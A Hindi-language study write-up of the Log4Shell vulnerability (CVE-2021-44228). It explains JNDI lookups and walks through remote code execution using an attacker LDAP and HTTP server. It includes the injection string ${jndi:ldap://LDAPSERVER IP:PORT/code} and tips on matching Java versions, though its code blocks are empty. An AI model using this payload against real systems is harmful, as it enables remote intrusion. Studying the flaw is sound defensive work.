
CVE-2021-44228 भेद्यता अध्ययन
नीचे log4shell कमजोरी का फायदा उठाकर रिमोट इंजेक्शन के एक मामले की विस्तृत प्रक्रिया दी गई है। पहले, हमें तीन भागों को जानना होगा:
Log4j2 message lookup substitution नामक एक सुविधा का उपयोग करके डेटा के लॉगिंग की अनुमति देता है, जहाँ लॉग संदेश विभिन्न स्रोतों से गतिशील रूप से खींचे गए डेटा को शामिल कर सकते हैं। (यह JNDI Lookup का समर्थन करता है)
JNDI Lookup: Java Naming and Directory Interface (JNDI) API के माध्यम से डेटा प्राप्त करने की अनुमति देता है, जो विभिन्न निर्देशिका सेवाओं के साथ इंटरैक्ट कर सकता है

LDAP (Lightweight Directory Access Protocol): मुख्य रूप से एक नेटवर्क पर निर्देशिका सूचना सेवाओं तक पहुँचने और प्रबंधित करने के लिए उपयोग किया जाता है।
यहाँ रिमोट कोड निष्पादन का एक सरल उदाहरण है:

हैकर LDAP सर्वर (LDAP प्रोटोकॉल द्वारा एक्सेस किया गया, जिसमें एक Java मैलिशियस कोड संदर्भ रखा गया है) और HTTP सर्वर (मैलिशियस कोड स्टोर करने का स्थान) दोनों स्थापित करता है
एक HTTP सर्वर को उस निर्देशिका में सेट करें जिसमें संकलित मैलिशियस कोड हो:

एक LDAP सर्वर सेट करें जो संदर्भ स्टोर करता है:

हैकर दुर्भावनापूर्ण इनपुट (${jndi:ldap://LDAPSERVER IP:PORT/code}) उस सॉफ्टवेयर सिस्टम को भेजता है जिसमें log4j2 स्थापित है

Log4j2 LDAP सर्वर को अनुरोध भेजने के लिए लुकअप सुविधा का उपयोग करता है
LDAP सर्वर LDAP सर्वरों में संग्रहीत Java कोड संदर्भों के माध्यम से अनुरोधों को HTTP सर्वरों पर रीडायरेक्ट करता है
HTTP सर्वर सॉफ्टवेयर सिस्टम को मैलिशियस कोड वापस भेजता है, और फिर सॉफ्टवेयर सिस्टम मैलिशियस कोड को निष्पादित करता है।
मैलिशियस कोड:

मैलिशियस कोड निष्पादित करना सफल:

महत्वपूर्ण:
यह नहीं है कि हम केवल LDAP सर्वर का उपयोग रिमोट कोड निष्पादन के लिए कर सकते हैं, हम अन्य विधियों (जैसे RMI) का भी उपयोग कर सकते हैं जब तक कि log4j2 सफलतापूर्वक message lookup substitution करे और मैलिशियस कोड निष्पादित करे
Java के विभिन्न संस्करण शोषण प्रक्रिया को भिन्न बना सकते हैं (यहाँ हम java 1.8u112 का उपयोग कर रहे हैं)।
यह अनुशंसा की जाती है कि मैलिशियस कोड में Java का वही संस्करण उपयोग करें जो सॉफ्टवेयर (log4j2 का उपयोग करने वाले सर्वर) में है, या अधिक से अधिक सॉफ्टवेयर के Java संस्करण से अधिक न हो।

Log4j2 में लुकअप कोड:
